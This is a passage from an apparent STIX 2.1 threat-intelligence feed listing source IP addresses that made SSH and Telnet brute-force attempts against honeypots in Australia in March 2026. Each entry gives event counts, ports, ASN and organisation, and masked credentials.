      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 210644. Organisation(s): Aeza Group LLC. Usernames observed (masked): r**t, o****e, t**t, ***, u**r. Passwords observed (masked): *, 1****6, a****3, !******r, !******X.",
      "id": "indicator--5397d86a-f7c5-4368-9643-66cef68f003e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.22.235.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T06:15:04.000Z",
      "valid_until": "2026-05-02T06:15:00.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 467. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, t**t, c***o. Passwords observed (masked): a***n, 1**4, 1***5, 0*************7, 0********1.",
      "id": "indicator--07bc0ad0-25a4-456d-8ae6-68ab34bb5b9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.180.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 523. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, d*******r, ***, m*****r. Passwords observed (masked): 1****6, p******d, 1**4, a****3, *****.",
      "id": "indicator--aaa72a92-6957-4ea4-b690-0a864c1ac079",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.194.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CY. ASN(s): 209847. Organisation(s): WorkTitans B.V.. Usernames observed (masked): r**t. Passwords observed (masked): P*******3, S**********6, k******1, l****z, t*****g.",
      "id": "indicator--162659c6-26d3-402a-aaf4-8727d30d4760",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.56.126.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, 3**********4, r***1. Passwords observed (masked): !********!, !******r, 1****0, 1**********b, 1******a.",
      "id": "indicator--03e9644f-f8f7-4e2a-a7e1-bdd37781f44e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.80.7.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7311. Organisation(s): Frontier Networks Inc.",
      "id": "indicator--2a10a49e-c008-4656-9e3c-ecb02a4069dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.126.86.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--346dac41-32dd-49a7-94dd-707f969be946",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.134.163.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 204957. Organisation(s): Green Floid LLC.",
      "id": "indicator--97cba4b9-5db2-4bab-84a5-3b5f0e8602b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.90.57.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--f6dd17e0-904c-4031-a039-04b9825f2230",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.89.72.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--087f7f44-4318-43eb-882d-234989ad6583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.249.148.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T07:15:04.000Z",
      "valid_until": "2026-05-02T07:15:01.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 137097. Organisation(s): Rohan Media Private Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******z, 3***********4, 3**********4, A*********5, H********5.",
      "id": "indicator--b09affa9-dba7-419d-a61e-efba26b70c18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.105.176.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 152194. Organisation(s): CTG Server Limited. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--54100166-5d37-40e3-915e-ff802976d665",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.155.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******************b, 1*******A, 1******z, 3***********4, 3**********4.",
      "id": "indicator--c6d29f72-c032-44e0-bcfe-01e7b415682c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.22.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 42532. Organisation(s): SIA VEESP. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): $**********(, 2*********n, 3***********4, 3**********4, A**********3.",
      "id": "indicator--bc3afa50-0701-469b-93be-3c532220b07a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.173.253.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ce634168-a463-4cfb-ab9f-c67d3ce00ac7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 24863. Organisation(s): LINKdotNET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******R, 1********!, 3***********4, 3**********4, H******6.",
      "id": "indicator--f6e81670-719a-4fa9-b556-25d0be8423fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.246.89.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4f12a998-e209-4b27-9c8a-755876032ae9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 275. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, $**********(, 1******r, 1******r.",
      "id": "indicator--5a73e832-1272-4e65-aa24-ea329b9f7d44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.102.218.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, $**********(, 1******r, 1******r.",
      "id": "indicator--885c3b29-606d-4679-9f3e-a98af4aed531",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.58.255.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T08:15:04.000Z",
      "valid_until": "2026-05-02T08:15:00.000Z"
    },
    {
      "created": "2026-03-31T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22. Source country: GH. ASN(s): 37350. Organisation(s): dds55.",
      "id": "indicator--e5e9e272-f49e-476e-bf69-14dc1700b0bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.22.27.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T09:15:03.000Z",
      "valid_until": "2026-05-02T09:15:00.000Z"
    },
    {
      "created": "2026-03-31T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 39435. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--a6c2395d-dd18-4b7f-bdf0-32e3dda9025c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.233.89.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T09:15:03.000Z",
      "valid_until": "2026-05-02T09:15:00.000Z"
    },
    {
      "created": "2026-03-31T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--b149ded2-d2e0-4da6-b338-c72c3bdf7838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.142.160.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T09:15:03.000Z",
      "valid_until": "2026-05-02T09:15:00.000Z"
    },
    {
      "created": "2026-03-31T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom.",
      "id": "indicator--5ccbff0b-37d2-4839-8e02-de4a592f9221",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.153.103.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T09:15:03.000Z",
      "valid_until": "2026-05-02T09:15:00.000Z"
    },
    {
      "created": "2026-03-31T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 97. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 34977. Organisation(s): Procono S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**0, 3***********4, 3**********4, C*********4, p*******3.",
      "id": "indicator--1897e4eb-ab15-4b4c-91de-664414967d41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.37.66.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T09:15:03.000Z",
      "valid_until": "2026-05-02T09:15:00.000Z"
    },
    {
      "created": "2026-03-31T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--517fdb11-64f0-4748-a662-15e579a90d2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T09:15:03.000Z",
      "valid_until": "2026-05-02T09:15:00.000Z"
    },
    {
      "created": "2026-03-31T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--6a00c25f-11c7-48f9-bfef-9862879271f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:15:04.000Z",
      "valid_until": "2026-05-02T10:15:00.000Z"
    },
    {
      "created": "2026-03-31T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******3, $**********(, 3***********4, 3**********4, A********6.",
      "id": "indicator--ae969d0b-2b79-41e0-86d8-89169ec56f41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.97.105.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:15:04.000Z",
      "valid_until": "2026-05-02T10:15:00.000Z"
    },
    {
      "created": "2026-03-31T10:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--043eb7a9-a525-401a-a782-928bb6a3dcd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.194.171.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:15:04.000Z",
      "valid_until": "2026-05-02T10:15:00.000Z"
    },
    {
      "created": "2026-03-31T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b158640e-a57a-401a-8210-9c5a77f366b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T11:15:03.000Z",
      "valid_until": "2026-05-02T11:15:01.000Z"
    },
    {
      "created": "2026-03-31T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1d7d7577-b846-49c4-ab27-f6ba8d29621e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.32.200.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T11:15:03.000Z",
      "valid_until": "2026-05-02T11:15:01.000Z"
    },
    {
      "created": "2026-03-31T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--b087d5ed-2456-4596-af66-206594167b21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.226.41.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T11:15:03.000Z",
      "valid_until": "2026-05-02T11:15:01.000Z"
    },
    {
      "created": "2026-03-31T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******Z, 3***********4, 3**********4, 9*******c, ***.",
      "id": "indicator--7348966a-b4fd-441b-882f-82fb71267f89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.187.224.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T11:15:03.000Z",
      "valid_until": "2026-05-02T11:15:01.000Z"
    },
    {
      "created": "2026-03-31T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1*******y.",
      "id": "indicator--1ac59e73-af94-4cb1-9f51-e17c85912fdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.213.122.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T12:15:03.000Z",
      "valid_until": "2026-05-02T12:15:01.000Z"
    },
    {
      "created": "2026-03-31T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): c*******3.",
      "id": "indicator--d5ae7e22-cdc6-4232-9ec6-72fc823ce5f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.198.28.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T12:15:03.000Z",
      "valid_until": "2026-05-02T12:15:01.000Z"
    },
    {
      "created": "2026-03-31T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--6080b8ef-013f-4fed-a386-7a4838dd64b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
